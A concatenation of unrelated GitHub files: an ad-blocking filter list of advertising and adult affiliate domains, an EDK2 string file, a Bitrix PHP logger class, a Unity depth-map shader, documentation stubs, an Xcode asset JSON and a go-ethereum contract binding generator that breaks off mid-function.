||farrivederev.pro^$third-party ||fderty.com^$third-party ||felixflow.com^$third-party ||festaporno.com^$third-party ||filexan.com^$third-party ||findandtry.com^$third-party ||flashadtools.com^$third-party ||fleshcash.com^$third-party ||fleshlightgirls.com^$third-party ||flirt4e.com^$third-party ||flirt4free.com^$third-party ||flirtingsms.com^$third-party ||fmscash.com^$third-party ||fncash.com^$third-party ||fncnet1.com^$third-party ||freakads.com^$third-party ||freewebfonts.org^$third-party ||frestacero.com^$third-party ||frestime.com^$third-party ||frivol-ads.com^$third-party ||frtyh.com^$third-party ||frutrun.com^$third-party ||fuckbook.cm^$third-party ||fuckbookdating.com^$third-party ||fuckedbyme.com^$third-party ||fuckermedia.com^$third-party ||fuckyoucash.com^$third-party ||fuelbuck.com^$third-party ||g--o.info^$third-party ||gamescarousel.com^$third-party ||gamesrevenu24.com^$third-party ||gamevui24.com^$third-party ||ganardineroreal.com^$third-party ||gayadpros.com^$third-party ||gayxperience.com^$third-party ||geoaddicted.net^$third-party ||geofamily.ru^$third-party ||geoinventory.com^$third-party ||getiton.com^$third-party ||gfhdkse.com^$third-party ||ggwcash.com^$third-party ||gl-cash.com^$third-party ||glbtrk.com^$third-party ||gmyze.com^$third-party ||goclick.info^$third-party ||golderotica.com^$third-party ||gomain.pro^$third-party ||googleapi.club^$third-party ||goonline13.online^$third-party ||greatcpm.com^$third-party ||gruponn.com^$third-party ||gstatic-as.pro^$third-party ||gstatic-us.pro^$third-party ||gtdkx91r.pro^$third-party ||gtsads.com^$third-party ||gunzblazingpromo.com^$third-party ||halileo.com^$third-party ||hd100546b.com^$third-party ||hdat.xyz^$third-party ||hdpreview.com^$third-party ||helltraffic.com^$third-party ||hentaibiz.com^$third-party ||herezera.com^$third-party ||hgbn.rocks^$third-party ||hghit.com^$third-party ||hhit.xyz^$third-party ||hiddenbucks.com^$third-party ||highnets.com^$third-party ||hipals.com^$third-party ||hizlireklam.com^$third-party ||home-soon.com^$third-party ||hookupbucks.com^$third-party ||hopilos.com^$third-party ||hoptopboy.com^$third-party ||hornymatches.com^$third-party ||hornyspots.com^$third-party ||hostave.net^$third-party ||hostave2.net^$third-party ||hostave4.net^$third-party ||hot-3d-girls.com^$third-party ||hotgvibe.com^$third-party ||hotsocials.com^$third-party ||hqpass.com^$third-party ||htdvt.com^$third-party ||hubtraffic.com^$third-party ||icapabloidsety.club^$third-party ||iceban.su^$third-party ||icebns.com^$third-party ||icetraffic.com^$third-party ||iclwy.xyz^$third-party ||ideal-sexe.com^$third-party ||idolbucks.com^$third-party ||ifrwam.com^$third-party ||iheartbucks.com^$third-party ||ijrah.top^$third-party ||ilovecheating.com^$third-party ||imglnka.com^$third-party ||imglnkb.com^$third-party ||imglnkc.com^$third-party ||impactslam.com^$third-party ||impressionmonster.com^$third-party ||inheart.ru^$third-party ||intelensafrete.stream^$third-party ||intellichatadult.com^$third-party ||intellipopup.com^$third-party ||internebula.net^$third-party ||intertakekuhy.info^$third-party ||intrapromotion.com^$third-party ||iprofit.cc^$third-party ||iridiumsergeiprogenitor.info^$third-party ||itmcash.com^$third-party ||itrxx.com^$third-party ||itslive.com^$third-party ||itspsmup.com^$third-party ||itsup.com^$third-party ||itw.me^$third-party ||iwanttodeliver.com^$third-party ||iwinnersadvantage.com^$third-party ||iwlnzreu5vlx.com^$third-party ||ixspublic.com^$third-party ||jackao.net^$third-party ||japanbros.com^$third-party ||javbucks.com^$third-party ||jaymancash.com^$third-party ||jeisl.com^$third-party ||jerrcotch.com^$third-party ||jfresi.com^$third-party ||jif5o70u.pro^$third-party ||joinnowinstantly.com^$third-party ||joyourself.com^$third-party ||jqueryserve.org^$third-party ||juicycash.net^$third-party ||justgetitfaster.com^$third-party ||justresa.com^$third-party ||jz9ugaqb.com^$third-party ||k9x.net^$third-party ||kadam.ru^$third-party ||kaplay.com^$third-party ||kcolbda.com^$third-party ||kingpinmedia.net^$third-party ||klapenlyidveln.stream^$third-party ||kodicdn.com^$third-party ||kugo.cc^$third-party ||kxqvnfcg.xyz^$third-party ||lanayasite.pro^$third-party ||laynsite.pro^$third-party ||leche69.com^$third-party ||legendarylars.com^$third-party ||lhs-3844b.com^ ||libertystmedia.com^$third-party ||lickbylick.com^$third-party ||lifepromo.biz^$third-party ||links-and-traffic.com^$third-party ||livecam.com^$third-party ||livejasmin.tv^$third-party ||liveprivates.com^$third-party ||livepromotools.com^$third-party ||livestatisc.com^$third-party ||livexxx.me^$third-party ||lizads.com^$third-party ||loa-traffic.com^$third-party ||loading-delivery1.com^$third-party ||lofv.xyz^$third-party ||lostun.com^$third-party ||loveadverts.com^$third-party ||lovecam.com.br^$third-party ||lovercash.com^$third-party ||lsawards.com^$third-party ||lucidcommerce.com^$third-party ||luhtb.top^$third-party ||luvcash.com^$third-party ||luvcom.com^$third-party ||lwxjg.com^$third-party ||madbanner.com^$third-party ||malakasonline.com^$third-party ||mallcom.com^$third-party ||mallorcash.com^$third-party ||manfys.com^$third-party ||marisappear.pro^$third-party ||markswebcams.com^$third-party ||masterbate.pro^$third-party ||masterwanker.com^$third-party ||matrimoniale3x.ro^$third-party ||matrix-cash.com^$third-party ||maxcash.com^$third-party ||maxiadv.com^$third-party ||mb103.com^$third-party ||mc-nudes.com^$third-party ||mcprofits.com^$third-party ||meccahoo.com^$third-party ||media-click.ru^$third-party ||mediad2.jp^$third-party ||mediagra.com^$third-party ||mediumpimpin.com^$third-party ||meineserver.com^$third-party ||meta4-group.com^$third-party ||methodcash.com^$third-party ||meubonus.com^$third-party ||mhogb.space^$third-party ||mileporn.com^$third-party ||millioncash.ru^$third-party ||mmaaxx.com^$third-party ||mmoframes.com^$third-party ||mncvjhg.com^$third-party ||mo8mwxi1.com^$third-party ||mobalives.com^$third-party ||mobilerevenu.com^$third-party ||mobtop.ru^$third-party ||modelsgonebad.com^$third-party ||monetizze.com.br^$third-party ||morehitserver.com^$third-party ||move2.co^$third-party ||mp-https.info^$third-party ||mpay69.pw^$third-party ||mpmcash.com^$third-party ||mrporngeek.com^$third-party ||mrskincash.com^$third-party ||msquaredproductions.com^$third-party ||mtoor.com^$third-party ||mtree.com^$third-party ||mxpopad.com^$third-party ||myadultimpressions.com^$third-party ||myprecisionads.com^$third-party ||mywebclick.net^$third-party ||n9nedegrees.com^$third-party ||naiadexports.com^$third-party ||nastydollars.com^$third-party ||nativexxx.com^$third-party ||netosdesalim.info^$third-party ||neuesdate.com^$third-party ||newads.bangbros.com^$third-party ||newagerevenue.com^$third-party ||newnudecash.com^$third-party ||newpush.support^$third-party ||newsexbook.com^$third-party ||ngbn.net^$third-party ||nikkiscash.com^$third-party ||ningme.ru^$third-party ||niuosnd.ru^$third-party ||njmaq.com^$third-party ||nkk31jjp.com^$third-party ||nonkads.com^$third-party ||notify.support^$third-party ||nscash.com^$third-party ||nsfwads.com^$third-party ||nummobile.com^$third-party ||nvp2auf5.com^$third-party ||o333o.com^$third-party ||oakbustrp.com^$third-party ||oconner.biz^$third-party ||octopuspop.com^$third-party ||ofapes.com^$third-party ||offaces-butional.com^$third-party ||okeo.ru^$third-party ||omynews.net^$third-party ||onedmp.com.^$third-party ||onhercam.com^$third-party ||ordermc.com^$third-party ||otaserve.net^$third-party ||othernedm.info^$third-party ||otherprofit.com^$third-party ||ouslayer.co^$third-party ||outster.com^$third-party ||overreare.co^$third-party ||oxcluster.com^$third-party ||ozelmedikal.com^$third-party ||paid-to-promote.net^$third-party ||panoll.com^$third-party ||pardina.ru^$third-party ||parkingpremium.com^$third-party ||partnercash.com^$third-party ||partnercash.de^$third-party ||pc20160522.com^$third-party ||pdywlbjkeq.work^$third-party ||pecash.com^$third-party ||pennynetwork.com^$third-party ||pepipo.com^$third-party ||philstraffic.com^$third-party ||pictureturn.com^$third-party ||pkeeper3.ru^$third-party ||plantaosexy.com^$third-party ||plugrush.com^$third-party ||pnads.com^$third-party ||pnperf.com^$third-party ||poonproscash.com^$third-party ||popander.com^$third-party ||poppcheck.de^$third-party ||popupclick.ru^$third-party ||popxxx.net^$third-party ||porkolt.com^$third-party ||porn300.com^$third-party ||porn88.net^$third-party ||porn99.net^$third-party ||pornattitude.com^$third-party ||pornconversions.com^$third-party ||porndroids.com^$third-party ||pornearn.com^$third-party ||pornglee.com^$third-party ||porngray.com^$third-party ||pornkings.com^$third-party ||pornleep.com^$third-party ||pornnperfect.com^$third-party ||porno-file.ru^$third-party ||pornoow.com^$third-party ||porntagged.com^$third-party ||porntrack.com^$third-party ||pornworld.online^$third-party ||pourmajeurs.com^$third-party ||ppc-direct.com^$third-party ||premiumhdv.com^$third-party ||presatisfy.com^$third-party ||privacyprotector.com^$third-party ||private4.com^$third-party ||privateseiten.net^$third-party ||privatewebseiten.com^$third-party ||prmobiles.com^$third-party ||profistats.net^$third-party ||program3.com^$third-party ||promo4partners.com^$third-party ||promocionesweb.com^$third-party ||promokrot.com^$third-party ||promotools.biz^$third-party ||promowebstar.com^$third-party ||propbn.com^$third-party ||protect-x.com^$third-party ||protizer.ru^$third-party ||prscripts.com^$third-party ||prtawe.com^$third-party ||psma01.com^$third-party ||psma03.com^$third-party ||ptclassic.com^$third-party ||ptrfc.com^$third-party ||ptwebcams.com^$third-party ||pussy-pics.net^$third-party ||pussyeatingclub.com^$third-party ||pussyeatingclubcams.com^$third-party ||putags.com^$third-party ||putanapartners.com^$third-party ||quantumws.net^$third-party ||queronamoro.com^$third-party ||qwerty24.net^$third-party ||r7e0zhv8.com^$third-party ||rack-media.com^$third-party ||ragazzeinvendita.com^$third-party ||ramctrlgate.com^$third-party ||rareru.ru^$third-party ||rdiul.com^$third-party ||reachword.com^$third-party ||realitycash.com^$third-party ||realitytraffic.com^$third-party ||recreativ.ru^$third-party ||redirectoptimizer.com^$third-party ||redlightcenter.com^$third-party ||redpineapplemedia.com^$third-party ||reliablebanners.com^$third-party ||renewads.com^$third-party ||reon.club^$third-party ||reprak.com^$third-party ||retoxo.com^$third-party ||revivestar.com^$third-party ||rexbucks.com^$third-party ||rfity.com^$third-party ||rivcash.com^$third-party ||rmbn.net^$third-party ||rmkflouh.com^$third-party ||robotadserver.com^$third-party ||roxby.org^$third-party ||royal-cash.com^$third-party ||rtbsystem.com^$third-party ||rubanners.com^$third-party ||rukplaza.com^$third-party ||runetki.co^$third-party ||runetki.com^$third-party ||russianlovematch.com^$third-party ||safelinktracker.com^$third-party ||sahishodilitt.info^$third-party ||sancdn.net^$third-party ||sandroprabratm.info^$third-party ||sascentral.com^$third-party ||sbs-ad.com^$third-party ||scund.com^$third-party ||searchpeack.com^$third-party ||searchx.eu^$third-party ||secretbehindporn.com^$third-party ||seekbang.com^$third-party ||seemybucks.com^$third-party ||sehiba.com^$third-party ||seitentipp.com^$third-party ||sesxc.com^$third-party ||sexad.net^$third-party ||sexdatecash.com^$third-party ||sexengine.sx^$third-party ||sexiba.com^$third-party ||sexlist.com^$third-party ||sexopages.com^$third-party ||sexplaycam.com^$third-party ||sexsearch.com^$third-party ||sextadate.net^$third-party ||sextracker.com^$third-party ||sexvertise.com^$third-party ||sexy-ch.com^$third-party ||sghehllds.com^$third-party ||siccash.com^$third-party ||silvalliant.info^$third-party ||simicaseros.pro^$third-party ||sixsigmatraffic.com^$third-party ||sjosteras.com^$third-party ||skeettools.com^$third-party ||skkybrought.pro^$third-party ||smartbn.ru^$third-party ||smartclick.net^$third-party ||smopy.com^$third-party ||sms-xxx.com^$third-party ||soadvr.com^$third-party ||socialsexnetwork.net^$third-party ||solutionsadultes.com^$third-party ||souvlatraffic.com^$third-party ||spankmasters.com^$third-party ||spunkycash.com^$third-party ||squeeder.com^$third-party ||startede.com^$third-party ||startwebpromo.com^$third-party ||staticxz.com^$third-party ||statserv.net^$third-party ||steamtraffic.com^$third-party ||streamateaccess.com^$third-party ||stripsaver.com^$third-party ||styleszelife.com^$third-party ||sunnysmedia.com^$third-party ||supuv3.com^$third-party ||sv2.biz^$third-party ||sweetmedia.org^$third-party ||sweetstudents.com^$third-party ||tantoporno.com^$third-party ||targetingnow.com^$third-party ||teasernet.ru^$third-party ||teaservizio.com^$third-party ||tech-board.com^$third-party ||teendestruction.com^$third-party ||telvanil.ru^$third-party ||test1productions.com^$third-party ||the-adult-company.com^$third-party ||thebunsenburner.com^$third-party ||thepayporn.com^$third-party ||therses.com^$third-party ||thesocialsexnetwork.com^$third-party ||thrnt.com^$third-party ||thumbnail-galleries.net^$third-party ||timteen.com^$third-party ||tingrinter.com^$third-party ||tinyweene.com^$third-party ||tizernet.com^$third-party ||tlafu.space^$third-party ||tm-core.net^$third-party ||tmserver-1.com^$third-party ||tmserver-2.net^$third-party ||toget.ru^$third-party ||tonsterandhantan.info^$third-party ||top-sponsor.com^$third-party ||top100.photo^$third-party ||topbucks.com^$third-party ||tossoffads.com^$third-party ||tradineseveni.club^$third-party ||traffbiz.ru^$third-party ||traffic-in.com^$third-party ||traffic.ru^$third-party ||trafficholder.com^$third-party ||traffichunt.com^$third-party ||trafficlearn.com^$third-party ||trafficpimps.com^$third-party ||trafficshop.com^$third-party ||trafficstars.com^$third-party ||traffictraffickers.com^$third-party ||trafficundercontrol.com^$third-party ||traficmax.fr^$third-party ||trfpump.com^$third-party ||trhunt.com^$third-party ||trickyseduction.com^$third-party ||trunblock.com^$third-party ||trw12.com^$third-party ||try9.com^$third-party ||ttlmodels.com^$third-party ||tube.ac^$third-party ||tubeadnetwork.com^$third-party ||tubeadv.com^$third-party ||tubechat.eu^$third-party ||tubecorporate.com^$third-party ||tubedspots.com^$third-party ||tubepush.eu^$third-party ||tufosex.com.br^$third-party ||twinrdsrv.com^$third-party ||twistyscash.com^$third-party ||tynyh.com^$third-party ||unaspajas.com^$third-party ||utrehter.com^$third-party ||uuidksinc.net^$third-party ||uxernab.com^$third-party ||ver-pelis.net^$third-party ||verticalaffiliation.com^$third-party ||vfgta.com^$third-party ||vghd.com^$third-party ||vid123.net^$third-party ||video-people.com^$third-party ||virtuagirlhd.com^$third-party ||vividcash.com^$third-party ||vlexokrako.com^$third-party ||vlogexpert.com^$third-party ||vod-cash.com^$third-party ||vogopita.com^$third-party ||vogorana.ru^$third-party ||vogotita.com^$third-party ||vogozae.ru^$third-party ||voluumtrk.com^$third-party ||voyeurhit.com^$third-party ||vroll.net^$third-party ||vrstage.com^$third-party ||vsexshop.ru^$third-party ||wa4etw9l.top^$third-party ||walprater.com^$third-party ||wamcash.com^$third-party ||wantatop.com^$third-party ||warsomnet.com^$third-party ||watchmygf.to^$third-party ||wct.click^$third-party ||webcambait.com^$third-party ||webcampromo.com^$third-party ||webcampromotions.com^$third-party ||webclickengine.com^$third-party ||webclickmanager.com^$third-party ||websitepromoserver.com^$third-party ||webteaser.ru^$third-party ||wellmov.com^$third-party ||weownthetraffic.com^$third-party ||weselltraffic.com^$third-party ||wetpeachcash.com^$third-party ||whaleads.com^$third-party ||whalecashads.com^$third-party ||wifelovers.com^$third-party ||wildhookups.com^$third-party ||wildmatch.com^$third-party ||wildxxxparties.com^$third-party ||wma.io^$third-party ||wood-pen.com^$third-party ||worldsbestcams.com^$third-party ||wpncdn.com^$third-party ||wpush.org^$third-party ||wqlkp.com^$third-party ||wufel.ml^$third-party ||x-adservice.com^$third-party ||xclicks.net^$third-party ||xenfrastucter.com^$third-party ||xfuckbook.com^$third-party ||xgogi.com^$third-party ||xhamstercams.com^$third-party ||xidx.org^$third-party ||xlovecam.com^$third-party ||xoliter.com^$third-party ||xpctraffic.com^$third-party ||xpollo.com^$third-party ||xsrs.com^$third-party ||xtrafficads.com^$third-party ||xtremeserve.xyz^$third-party ||xxltr.com^$third-party ||xxxadv.com^$third-party ||xxxallaccesspass.com^$third-party ||xxxbannerswap.com^$third-party ||xxxblackbook.com^$third-party ||xxxex.com^$third-party ||xxxmatch.com^$third-party ||xxxmyself.com^$third-party ||xxxnavy.com^$third-party ||xxxoh.com^$third-party ||xxxvipporno.com^$third-party ||xxxwebtraffic.com^$third-party ||yazcash.com^$third-party ||yesmessenger.com^$third-party ||yfum.com^$third-party ||yobihost.com^$third-party ||yoshatia.com^$third-party ||yourdatelink.com^$third-party ||yourfuckbook.com^$third-party,domain=~fuckbookhookups.com ||youtube.local^$third-party ||ypmadserver.com^$third-party ||yu0123456.com^$third-party ||yuppads.com^$third-party ||yurivideo.com^$third-party ||zboac.com^$third-party ||zenkreka.com^$third-party ||ziphentai.com^$third-party ||zog.link^$third-party ||zqhkry0c.pro^$third-party ! Revolving adservers ||4690y10pvpq8.com^ ||abrsamar.com^ ||adbidgo.com^ ||adplexo.com^ ||aelphotog.pro^ ||anycdndata.info^ ||bebadu.com^ ||briggbrought.pro^ ||cebadu.com^ ||clickbigo.com^ ||clmcom.com^ ||crentexgate.com^ ||crptgate.com^ ||doublelimpup.com^ ||dsp.wtf^ ||earnbigo.com^ ||febadu.com^ ||foxypp.com^ ||furmnas.com^ ||he7ll.com^ ||hebadu.com^ ||hiblcom.com^ ||horedi.com^ ||hpyrdr.com^ ||hypoot.com^ ||iddpop.com^ ||ilovejuju.be^ ||imglnkd.com^ ||ioredi.com^ ||isupopc.com^ ||joredi.com^ ||joredii.com^ ||jsmpsi.com^ ||koncbabae.com^ ||koradu.com^ ||libedgolart.com^ ||nebadu.com^ ||nkmsite.com^ ||oktpage.com^ ||ooredi.com^ ||opoxv.com^ ||platado.com^ ||popcain.com^ ||poredii.com^ ||ppcashpop.com^ ||profbigo.com^ ||propbigo.com^ ||pttsite.com^ ||qebodu.com^ ||roredi.com^ ||shareitpp.com^ ||sitegoto.com^ ||sitemnk.com^ ||siterdm.com^ ||soonbigo.com^ ||syndicpop.com^ ||syndopop.com^ ||tebadu.com^ ||tosfeed.com^ ||tplpages.com^ ||trmnsite.com^ ||tsandycateup.com^ ||ucdn.website^ ||ulukaris.com^ ||uoredi.com^ ||uyiiop.site^ ||voradu.com^ ||voredi.com^ ||whalepp.com^ ||xoredi.com^ ||xxssyndic.com^ ||xxxrevpushclcdu.com^ ||xzlnews.info^ ||yebadu.com^ ||yoredi.com^ ||ytimm.com^ ||zavrotfro.com^ ! Document blocks ||abbp1.com^$document ||allemodels.com^$document ||artamkari.com^$document ||combia-tellector.com^$document ||cradver.livejasmin.com^$document ||crptentry.com^$document ||doublepimp.com^$document ||dreamintim.net^$document ||exoclick.com^$document ||local-hot-dates.com^$document ||meeturlove.com^$document ||nlntrk.com^$document ||nyetm2mkch.com^$document ||trkinator.com^$document ||xxxrevpushclcdu.com^$document ! Mobile ||reporo.net^$third-party ! Pornhub network
{ "pile_set_name": "Github" }
// /** @file // LoadFileOnFv2 Localized Abstract and Description Content // // Copyright (c) 2016, Intel Corporation. All rights reserved.<BR> // // SPDX-License-Identifier: BSD-2-Clause-Patent // // **/ #string STR_MODULE_ABSTRACT #language en-US "Allows system to load files from an FV2-based firmware volume" #string STR_MODULE_DESCRIPTION #language en-US "This module allows the system to load a file from an FV2-based firmware " "volume. This version of the module only supports loading of files for the " "purpose of booting from a file."
{ "pile_set_name": "Github" }
<? namespace Bitrix\Scale; use Bitrix\Main\Localization\Loc; Loc::loadMessages(__FILE__); /** * Class Logger * Makes records to bitrix-system site log * @package Bitrix\Scale */ class Logger { const LOG_LEVEL_DISABLE = 0; const LOG_LEVEL_ERROR = 10; const LOG_LEVEL_INFO = 20; const LOG_LEVEL_DEBUG = 30; /** * @param $level * @param $auditType * @param $itemId * @param $description * @return bool */ public static function addRecord($level, $auditType, $itemId, $description) { if($level == self::LOG_LEVEL_ERROR) $severity = "ERROR"; elseif($level == self::LOG_LEVEL_INFO) $severity = "INFO"; elseif($level == self::LOG_LEVEL_DEBUG) $severity = "DEBUG"; else $severity = "UNKNOWN"; \CEventLog::Add(array( "SEVERITY" => $severity, "AUDIT_TYPE_ID" => $auditType, "MODULE_ID" => "scale", "ITEM_ID" => $itemId, "DESCRIPTION" => $description, )); return true; } /** * @return array */ public static function onEventLogGetAuditTypes() { return array( "SCALE_ACTION_STARTED" => "[SCALE_ACTION_STARTED] ".Loc::getMessage("SCALE_ACTION_EVENT_LOG_TYPE_ACTION_STARTED"), "SCALE_ACTION_RESULT" => "[SCALE_ACTION_RESULT] ".Loc::getMessage("SCALE_ACTION_EVENT_LOG_TYPE_ACTION_RESULT"), "SCALE_ACTION_ERROR" => "[SCALE_ACTION_ERROR] ".Loc::getMessage("SCALE_ACTION_EVENT_LOG_TYPE_ACTION_ERROR"), "SCALE_ACTION_OUTPUT" => "[SCALE_ACTION_OUTPUT] ".Loc::getMessage("SCALE_ACTION_EVENT_LOG_TYPE_ACTION_OUTPUT"), "SCALE_ACTION_CHECK_STATE" => "[SCALE_ACTION_CHECK_STATE] ".Loc::getMessage("SCALE_ACTION_EVENT_LOG_TYPE_ACTION_CHECK_STATE"), "SCALE_PROVIDER_SEND_ORDER" => "[SCALE_PROVIDER_SEND_ORDER] ".Loc::getMessage("SCALE_ACTION_EVENT_LOG_TYPE_PROVIDER_SEND_ORDER") ); } }
{ "pile_set_name": "Github" }
// Upgrade NOTE: replaced 'mul(UNITY_MATRIX_MVP,*)' with 'UnityObjectToClipPos(*)' //深度图渲染Shader Shader "Hidden/DepthMapRenderer" { Properties { } SubShader { Tags { "RenderType"="Opaque" } Pass { CGPROGRAM #pragma vertex vert #pragma fragment frag #include "UnityCG.cginc" uniform float depth; uniform float power; uniform float height; uniform float minheight; struct appdata { float4 vertex : POSITION; }; struct v2f { float4 vertex : SV_POSITION; float2 depth:TEXCOORD0; }; v2f vert (appdata v) { v2f o; o.vertex = UnityObjectToClipPos(v.vertex); float4 worldPos = mul(unity_ObjectToWorld, v.vertex); float h = worldPos.y - height; o.depth = float2(saturate(-h / minheight), step(h, 0)); return o; } float4 frag (v2f i) : SV_Target { float dp = pow(saturate(i.depth.x / depth),power); return float4(dp,i.depth.y,dp,1); } ENDCG } Pass{ cull front CGPROGRAM #pragma vertex vert #pragma fragment frag #include "UnityCG.cginc" float4 vert(float4 v:POSITION) :SV_POSITION{ return UnityObjectToClipPos(v); } fixed4 frag(float4 p:SV_POSITION) : SV_TARGET{ return fixed4(0,0,0,1); } ENDCG } } }
{ "pile_set_name": "Github" }
traitsui\.editors\.array\_editor module ======================================= .. automodule:: traitsui.editors.array_editor :members: :undoc-members: :show-inheritance:
{ "pile_set_name": "Github" }
{ "images": [ { "filename": "ic_phone_android_36pt.png", "idiom": "universal", "scale": "1x" }, { "filename": "ic_phone_android_36pt_2x.png", "idiom": "universal", "scale": "2x" }, { "filename": "ic_phone_android_36pt_3x.png", "idiom": "universal", "scale": "3x" } ], "info": { "author": "xcode", "version": 1 } }
{ "pile_set_name": "Github" }
// Copyright 2016 The go-ethereum Authors // This file is part of the go-ethereum library. // // The go-ethereum library is free software: you can redistribute it and/or modify // it under the terms of the GNU Lesser General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // The go-ethereum library is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Lesser General Public License for more details. // // You should have received a copy of the GNU Lesser General Public License // along with the go-ethereum library. If not, see <http://www.gnu.org/licenses/>. // Package bind generates Ethereum contract Go bindings. // // Detailed usage document and tutorial available on the go-ethereum Wiki page: // https://github.com/ethereum/go-ethereum/wiki/Native-DApps:-Go-bindings-to-Ethereum-contracts package bind import ( "bytes" "fmt" "go/format" "regexp" "strings" "text/template" "unicode" "github.com/insight-chain/inb-go/accounts/abi" ) // Lang is a target programming language selector to generate bindings for. type Lang int const ( LangGo Lang = iota LangJava LangObjC ) // Bind generates a Go wrapper around a contract ABI. This wrapper isn't meant // to be used as is in client code, but rather as an intermediate struct which // enforces compile time type safety and naming convention opposed to having to // manually maintain hard coded strings that break on runtime. func Bind(types []string, abis []string, bytecodes []string, pkg string, lang Lang) (string, error) { // Process each individual contract requested binding contracts := make(map[string]*tmplContract) for i := 0; i < len(types); i++ { // Parse the actual ABI to generate the binding for evmABI, err := abi.JSON(strings.NewReader(abis[i])) if err != nil { return "", err } // Strip any whitespace from the JSON ABI strippedABI := strings.Map(func(r rune) rune { if unicode.IsSpace(r) { return -1 } return r }, abis[i]) // Extract the call and transact methods; events; and sort them alphabetically var ( calls = make(map[string]*tmplMethod) transacts = make(map[string]*tmplMethod) events = make(map[string]*tmplEvent) ) for _, original := range evmABI.Methods { // Normalize the method for capital cases and non-anonymous inputs/outputs normalized := original normalized.Name = methodNormalizer[lang](original.Name) normalized.Inputs = make([]abi.Argument, len(original.Inputs)) copy(normalized.Inputs, original.Inputs) for j, input := range normalized.Inputs { if input.Name == "" { normalized.Inputs[j].Name = fmt.Sprintf("arg%d", j) } } normalized.Outputs = make([]abi.Argument, len(original.Outputs)) copy(normalized.Outputs, original.Outputs) for j, output := range normalized.Outputs { if output.Name != "" { normalized.Outputs[j].Name = capitalise(output.Name) } } // Append the methods to the call or transact lists if original.Const { calls[original.Name] = &tmplMethod{Original: original, Normalized: normalized, Structured: structured(original.Outputs)} } else { transacts[original.Name] = &tmplMethod{Original: original, Normalized: normalized, Structured: structured(original.Outputs)} } } for _, original := range evmABI.Events { // Skip anonymous events as they don't support explicit filtering if original.Anonymous { continue } // Normalize the event for capital cases and non-anonymous outputs normalized := original normalized.Name = methodNormalizer[lang](original.Name) normalized.Inputs = make([]abi.Argument, len(original.Inputs)) copy(normalized.Inputs, original.Inputs) for j, input := range normalized.Inputs { // Indexed fields are input, non-indexed ones are outputs if input.Indexed { if input.Name == "" { normalized.Inputs[j].Name = fmt.Sprintf("arg%d", j) } } } // Append the event to the accumulator list events[original.Name] = &tmplEvent{Original: original, Normalized: normalized} } contracts[types[i]] = &tmplContract{ Type: capitalise(types[i]), InputABI: strings.Replace(strippedABI, "\"", "\\\"", -1), InputBin: strings.TrimSpace(bytecodes[i]), Constructor: evmABI.Constructor, Calls: calls, Transacts: transacts, Events: events, } } // Generate the contract template data content and render it data := &tmplData{ Package: pkg, Contracts: contracts, } buffer := new(bytes.Buffer) funcs := map[string]interface{}{ "bindtype": bindType[lang], "bindtopictype": bindTopicType[lang], "namedtype": namedType[lang], "capitalise": capitalise, "decapitalise": decapitalise, } tmpl := template.Must(template.New("").Funcs(funcs).Parse(tmplSource[lang])) if err := tmpl.Execute(buffer, data); err != nil { return "", err } // For Go bindings pass the code through gofmt to clean it up if lang == LangGo { code, err := format.Source(buffer.Bytes()) if err != nil { return "", fmt.Errorf("%v\n%s", err, buffer) } return string(code), nil } // For all others just return as is for now return buffer.String(), nil } // bindType is a set of type binders that convert Solidity types to some supported // programming language types. var bindType = map[Lang]func(kind abi.Type) string{ LangGo: bindTypeGo, LangJava: bindTypeJava, } // Helper function for the binding generators. // It reads the unmatched characters after the inner type-match, // (since the inner type is a prefix of the total type declaration), // looks for valid arrays (possibly a dynamic one) wrapping the inner type, // and returns the sizes of these arrays. // // Returned array sizes are in the same order as solidity signatures; inner array size first. // Array sizes may also be "", indicating a dynamic array. func wrapArray(stringKind string, innerLen int, innerMapping string) (string, []string) { remainder := stringKind[innerLen:] //find all the sizes matches := regexp.MustCompile(`\[(\d*)\]`).FindAllStringSubmatch(remainder, -1) parts := make([]string, 0, len(matches)) for _, match := range matches { //get group 1 from the regex match parts = append(parts, match[1]) } return innerMapping, parts } // Translates the array sizes to a Go-lang declaration of a (nested) array of the inner type. // Simply returns the inner type if arraySizes is empty. func arrayBindingGo(inner string, arraySizes []string) string { out := "" //prepend all array sizes, from outer (end arraySizes) to inner (start arraySizes) for i := len(arraySizes) - 1; i >= 0; i-- { out += "[" + arraySizes[i] + "]" } out += inner return out } // bindTypeGo converts a Solidity type to a Go one. Since there is no clear mapping // from all Solidity types to Go ones (e.g. uint17), those that cannot be exactly // mapped will use an upscaled type (e.g. *big.Int). func bindTypeGo(kind abi.Type) string { stringKind := kind.String() innerLen, innerMapping := bindUnnestedTypeGo(stringKind) return arrayBindingGo(wrapArray(stringKind, innerLen, innerMapping)) } // The inner function of bindTypeGo, this finds the inner type of stringKind. // (Or just the type itself if it is not an array or slice) // The length of the matched part is returned, with the translated type. func bindUnnestedTypeGo(stringKind string) (int, string) { switch { case strings.HasPrefix(stringKind, "address"): return len("address"), "common.Address" case strings.HasPrefix(stringKind, "bytes"): parts := regexp.MustCompile(`bytes([0-9]*)`).FindStringSubmatch(stringKind) return len(parts[0]), fmt.Sprintf("[%s]byte", parts[1]) case strings.HasPrefix(stringKind, "int") || strings.HasPrefix(stringKind, "uint"): parts := regexp.MustCompile(`(u)?int([0-9]*)`).FindStringSubmatch(stringKind) switch parts[2] { case "8", "16", "32", "64": return len(parts[0]), fmt.Sprintf("%sint%s", parts[1], parts[2]) } return len(parts[0]), "*big.Int" case strings.HasPrefix(stringKind, "bool"): return len("bool"), "bool" case strings.HasPrefix(stringKind, "string"): return len("string"), "string" default: return len(stringKind), stringKind } } // Translates the array sizes to a Java declaration of a (nested) array of the inner type. // Simply returns the inner type if arraySizes is empty. func arrayBindingJava(inner string, arraySizes []string) string { // Java array type declarations do not include the length. return inner + strings.Repeat("[]", len(arraySizes)) } // bindTypeJava converts a Solidity type to a Java one. Since there is no clear mapping // from all Solidity types to Java ones (e.g. uint17), those that cannot be exactly // mapped will use an upscaled type (e.g. BigDecimal). func bindTypeJava(kind abi.Type) string { stringKind := kind.String() innerLen, innerMapping := bindUnnestedTypeJava(stringKind) return arrayBindingJava(wrapArray(stringKind, innerLen, innerMapping)) } // The inner function of bindTypeJava, this finds the inner type of stringKind. // (Or just the type itself if it is not an array or slice) // The length of the matched part is returned, with the translated type. func bindUnnestedTypeJava(stringKind string) (int, string) { switch { case strings.HasPrefix(stringKind, "address"): parts := regexp.MustCompile(`address(\[[0-9]*\])?`).FindStringSubmatch(stringKind) if len(parts) != 2 { return 